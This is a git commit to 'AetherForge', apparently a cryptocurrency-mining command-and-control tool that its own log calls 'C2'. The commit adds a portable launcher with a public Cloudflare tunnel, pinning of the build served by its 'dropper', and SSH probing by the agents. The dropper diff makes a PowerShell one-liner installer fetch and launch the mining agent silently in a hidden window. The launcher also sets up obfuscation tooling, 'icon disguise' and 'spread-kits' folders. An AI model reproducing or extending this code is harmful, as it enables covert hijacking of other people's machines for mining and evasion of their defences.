feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

9
.gitignore vendored
View File

@@ -44,3 +44,12 @@ Desktop.ini
# Prebuilt agent/fusion binaries — compiled on demand, not tracked in git
/agent/crypto-miner-agent
/fusion/crypto-miner-fusion
# Portable USB bundle — track LAUNCH.bat only; runtime output stays local
/usb/*
!/usb/LAUNCH.bat
!/usb/cloudflare/
/usb/cloudflare/*
!/usb/cloudflare/SETUP.txt
*.msi
/cloudflared-windows-amd64.msi

Binary file not shown.

After

Width:  |  Height:  |  Size: 884 KiB

279
LAUNCH.bat Normal file
View File

@@ -0,0 +1,279 @@
@echo off
setlocal EnableExtensions EnableDelayedExpansion
title AetherForge Control Deck
cd /d "%~dp0"
set "ROOT=%CD%"
echo.
echo ================================================================
echo AetherForge - Portable Control Deck
echo ================================================================
echo.
:: ----------------------------------------------------------------
:: 1. Locate Go - prefer bundled toolchain, fall back to system Go
:: ----------------------------------------------------------------
set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe"
set "GO_BIN="
if exist "%BUNDLED_GO%" (
echo [Go] Using bundled toolchain: %ROOT%\toolchain\go
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
goto go_ready
)
:: Check if Go is installed system-wide
where go >nul 2>nul
if not errorlevel 1 (
echo [Go] Using system Go installation.
set "GO_BIN=go"
goto go_ready
)
:: Go not found - offer to download portable toolchain
echo [Go] Not found. Downloading portable Go toolchain...
echo This only happens once. The toolchain is saved to toolchain\go\
echo.
if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set "GO_ARCH=amd64"
) else (
if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" (
set "GO_ARCH=arm64"
) else (
set "GO_ARCH=386"
)
)
set "GO_VERSION=1.22.4"
set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip"
set "GO_URL=https://go.dev/dl/%GO_ZIP%"
set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip"
powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }"
if errorlevel 1 (
echo.
echo ERROR: Could not download Go. Please either:
echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat
echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go
echo.
pause
exit /b 1
)
echo [Go] Extracting toolchain...
powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force"
del "%GO_DEST%" 2>nul
if not exist "%BUNDLED_GO%" (
echo ERROR: Extraction failed.
pause
exit /b 1
)
set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe"
set "GOROOT=%ROOT%\toolchain\go"
set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%"
echo [Go] Toolchain ready.
:go_ready
:: ----------------------------------------------------------------
:: 2. Pin all Go caches to the USB so module downloads travel with you
:: ----------------------------------------------------------------
set "GOPATH=%ROOT%\toolchain\gopath"
set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod"
set "GOCACHE=%ROOT%\toolchain\gocache"
set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble - obfuscation support...
"%GO_BIN%" install mvdan.cc/garble@latest
if errorlevel 1 (
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
) else (
echo [Tools] garble ready.
)
)
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
echo [Tools] Installing go-winres - Windows icon disguise...
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 (
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
) else (
echo [Tools] go-winres ready.
)
)
) else (
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
)
:: ----------------------------------------------------------------
:: 4. Ensure data directories exist
:: ----------------------------------------------------------------
if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds"
if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs"
if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits"
if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare"
:: ----------------------------------------------------------------
:: 5. Cloudflare Tunnel — auto-install, configure, start
:: ----------------------------------------------------------------
set "CF_DIR=%ROOT%\cloudflare"
set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json"
set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi"
set "CF_HOSTNAME=killa.thetempleofdoom.com"
set "CF_DATA=%ROOT%\data\cloudflare"
set "SERVER_PORT=8989"
set "CF_BIN="
set "CF_TUNNEL_ID="
set "CF_READY=0"
:: Check credentials exist and are real (not the placeholder)
if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds
powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul
if errorlevel 1 goto cf_no_creds
:: Parse tunnel ID from credentials JSON
for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i"
if "!CF_TUNNEL_ID!"=="" goto cf_no_creds
echo [CF] Tunnel ID: !CF_TUNNEL_ID!
:: Stage credentials into data\cloudflare\ (idempotent)
set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json"
if not exist "!CF_CREDS_LOCAL!" (
copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul
echo [CF] Credentials staged to data\cloudflare\
)
:: Always regenerate config.yml with current absolute paths
:: (handles drive-letter changes when USB is moved)
set "CF_CONFIG=%CF_DATA%\config.yml"
powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul
echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT%
:: ---- Locate or install cloudflared ----
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
goto cf_have_bin
)
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
)
if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe"
goto cf_have_bin
)
:: Not found — install from bundled MSI
if exist "%CF_MSI%" (
echo [CF] cloudflared not found. Installing from bundled MSI...
msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log"
echo [CF] MSI install launched - waiting...
ping -n 8 127.0.0.1 >nul
if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" (
set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
where cloudflared >nul 2>nul
if not errorlevel 1 (
set "CF_BIN=cloudflared"
echo [CF] cloudflared installed successfully.
goto cf_have_bin
)
echo [CF] WARNING: MSI completed but cloudflared not found in PATH.
echo [CF] Try re-running LAUNCH.bat after a reboot.
goto cf_done
) else (
echo [CF] WARNING: cloudflared not installed and no MSI bundled.
goto cf_done
)
:cf_have_bin
echo [CF] Binary: !CF_BIN!
:: Check if cloudflared tunnel already running (same process = skip)
tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul
if not errorlevel 1 (
echo [CF] Tunnel already running on this machine.
echo [CF] https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
)
:: Start cloudflared tunnel in background
echo [CF] Starting Cloudflare tunnel...
start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run
ping -n 5 127.0.0.1 >nul
echo [CF] Tunnel live: https://!CF_HOSTNAME!
set "CF_READY=1"
goto cf_done
:cf_no_creds
echo [CF] No valid credentials.json in cloudflare\
echo [CF] See cloudflare\SETUP.txt to configure your tunnel once.
echo [CF] Running in LAN-only mode this session.
:cf_done
:: ----------------------------------------------------------------
:: 6. Detect LAN IP for display
:: ----------------------------------------------------------------
set "LAN_IP=localhost"
:: ----------------------------------------------------------------
:: 7. Kill any stale server process
:: ----------------------------------------------------------------
taskkill /F /IM AetherForge.exe >nul 2>nul
ping -n 2 127.0.0.1 >nul
echo.
echo ================================================================
echo STARTING CONTROL DECK
echo ================================================================
echo Local: http://localhost:%SERVER_PORT%
echo LAN: http://%LAN_IP%:%SERVER_PORT%
if "!CF_READY!"=="1" (
echo Public: https://!CF_HOSTNAME!
echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1'
)
echo Data: %ROOT%\data\
echo.
echo First run: admin password printed to console below.
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.
) else (
echo [Server] Exited with code !EC!.
echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry.
)
:: On exit, also stop the cloudflared tunnel
taskkill /F /IM cloudflared.exe >nul 2>nul
echo.
pause
endlocal

View File

@@ -571,11 +571,23 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) {
}
}
// probeSSH returns true if an SSH daemon is listening on port 22 locally.
func probeSSH() bool {
conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
if err != nil {
return false
}
conn.Close()
return true
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
var sshTick int
var lastSSH *bool
for {
select {
case <-stop:
@@ -614,6 +626,13 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
accepted := c.sharesAccepted
c.mu.Unlock()
// Probe SSH every 6 ticks (~60s) to avoid overhead
if sshTick%6 == 0 {
ok := probeSSH()
lastSSH = &ok
}
sshTick++
payload, _ := json.Marshal(StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
@@ -623,6 +642,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
SSHAvailable: lastSSH,
})
_ = c.write(Message{Type: "stats", Payload: payload})
}

View File

@@ -75,6 +75,7 @@ type StatsPayload struct {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
SSHAvailable *bool `json:"ssh_available,omitempty"`
}
type ShareResult struct {

View File

@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
bt := "`"
nl := "\r\n"
script := "# AetherForge agent installer" + nl +
"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
"$ErrorActionPreference = 'Stop'" + nl +
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
"try {" + nl +
" $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
" if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
"} catch {" + nl +
" Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
" Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
" exit 1" + nl +
"}" + nl + nl +
"$size = (Get-Item $tmp).Length" + nl +
"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
"} catch { exit 0 }" + nl + nl +
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"if ($isZip) {" + nl +
" Write-Host '[*] Extracting universal bundle...'" + nl +
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" $bat = $null" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { $bat = $c; break }" + nl +
" }" + nl +
" if ($bat) {" + nl +
" Write-Host '[*] Running bundle launcher...'" + nl +
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed from bundle.'" + nl +
" } else {" + nl +
" Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
"} else {" + nl +
" $exe = $tmp + '.exe'" + nl +
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
" Write-Host '[*] Launching agent...'" + nl +
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
"}" + nl
"}" + nl +
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)

View File

@@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
writeJSON(w, builds)
}
// PUT /api/v1/builds/{id}/pin
// Pins the specified build as the active dropper target.
// Send an empty id or DELETE to a fake pin endpoint to unpin all.
func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if err := h.db.SetPinnedBuild(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
}
// DELETE /api/v1/builds/pin (unpin all without deleting anything)
func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
if err := h.db.SetPinnedBuild(""); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true})
}
// DELETE /api/v1/builds/{id}
func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if err := h.db.DeleteBuild(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
}
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)

View File

@@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)

View File

@@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
SSHAvailable *bool `json:"ssh_available,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
@@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}),
})
broadcast := map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
if agentID == "" {

View File

@@ -115,6 +115,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
@@ -251,14 +252,16 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
b.Pinned = pinnedInt == 1
return b, err
}
@@ -276,22 +279,47 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
}
// GetLatestBuildForPlatform returns the pinned build for the given platform
// (or any platform when empty), falling back to the most-recently-created build.
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
var query string
var args []any
if platform == "" || platform == "any" {
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
} else {
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
args = []any{platform}
// 1. Pinned build for this platform (exact match)
if platform != "" && platform != "any" {
b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
if err == nil {
return b, nil
}
}
// 2. Any pinned build (universal or first pinned regardless of platform)
b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
if err == nil {
return b, nil
}
// 3. Latest by creation time, filtered by platform when given
if platform == "" || platform == "any" {
b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
} else {
b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
}
b, err := scanBuild(d.QueryRow(query, args...))
if err != nil {
return nil, err
}
return b, nil
}
// SetPinnedBuild unpins all builds then pins the one with the given id.
// If id is empty, all builds are unpinned.
func (d *Database) SetPinnedBuild(id string) error {
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
if err != nil {
return err
}
if id == "" {
return nil
}
_, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
return err
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
if err != nil {

View File

@@ -33,6 +33,9 @@ type Agent struct {
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
@@ -87,6 +90,7 @@ type BuildRecord struct {
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`

View File

@@ -30,9 +30,33 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
return len(p), nil
}
const aetherBanner = `
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
║ · \ | / · ║
║ · \ | / · ▲▲▲ ║
║ · ○─────●─────○ · ▲▲▲▲▲ ║
║ · / | \ · ▲▲▲▲▲ ║
║ · / | \ · ████ ║
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
║ ○───────────○ ██ ██ ██ ║
║ / \ / \ ║
║ / ●───────● \ A E T H E R F O R G E ║
║ / / \ / \ \ ───────────────────────── ║
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
║ \ \ / \ / / ║
║ \ ●───────● / ║
║ \ / \ / ║
║ ○───────────○ ║
║ ✦ · · · · ◈ · · · · ✦ ║
║ ║
╚══════════════════════════════════════════════════════════════════╝`
func main() {
fmt.Println(aetherBanner)
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("Crypto Miner Control Server starting...")
log.Println("AetherForge C2 starting...")
// Load configuration
cfg := LoadConfig()

View File

@@ -2,11 +2,12 @@
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<link rel="icon" type="image/png" href="/af-logo.png" />
<link rel="shortcut icon" type="image/png" href="/af-logo.png" />
<link rel="apple-touch-icon" href="/af-logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="theme-color" content="#0d0d12" />
<link rel="apple-touch-icon" href="/vite.svg">
<title>AetherForge — LAN Mining Command Deck</title>
<meta name="theme-color" content="#c9a227" />
<title>AetherForge — Command Deck</title>
</head>
<body>
<div id="root"></div>

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

View File

@@ -3,12 +3,15 @@ import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
import { ForgeProvider } from './context/ForgeContext';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
function PageFallback() {
return (
@@ -23,6 +26,7 @@ function App() {
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<ForgeProvider>
<SessionGate>
<Layout>
<Suspense fallback={<PageFallback />}>
@@ -32,12 +36,15 @@ function App() {
<Route path="/agents" element={<AgentsPage />} />
<Route path="/forge" element={<BuilderPage />} />
<Route path="/builder" element={<Navigate to="/forge" replace />} />
<Route path="/crucible" element={<CruciblePage />} />
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/guide" element={<GuidePage />} />
<Route path="/settings" element={<SettingsPage />} />
</Routes>
</Suspense>
</Layout>
</SessionGate>
</ForgeProvider>
</WebSocketProvider>
);
}

View File

@@ -82,6 +82,13 @@ export const api = {
});
},
pinBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
unpinAll: () =>
fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
deleteBuild: (buildId: string) =>
fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
buildArtifactUrl: (buildId: string, fileName: string) =>
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,

Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

View File

@@ -101,3 +101,23 @@
height: 80px;
animation: gear-spin 45s linear infinite reverse;
}
/* ── Sacred geometry watermark ── */
.ambient-sacred-geo {
position: absolute;
/* Centre in the main content area (offset for the 260px sidebar) */
left: calc(260px + (100vw - 260px) / 2 - min(38vw, 680px) / 2);
top: 50%;
transform: translateY(-50%);
width: min(38vw, 680px);
height: min(38vw, 680px);
opacity: 0.07;
animation: sacred-geo-rotate 120s linear infinite;
pointer-events: none;
filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3));
}
@keyframes sacred-geo-rotate {
from { transform: translateY(-50%) rotate(0deg); }
to { transform: translateY(-50%) rotate(360deg); }
}

View File

@@ -1,5 +1,66 @@
import './AmbientBackground.css';
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
function SacredGeometry() {
const cx = 50;
const cy = 50;
const R = 32; // outer circle radius
// Six-petal Flower of Life petal centres (offset by R from centre)
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
// 5-pointed star vertices inscribed at radius R*1.15
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
// Inner triangles (upward + downward — Star of David inner ring)
const triR = R * 0.7;
const triUp = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
const triDown = [60, 180, 300].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
return (
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
<g opacity="0.55">
{/* Outer ring */}
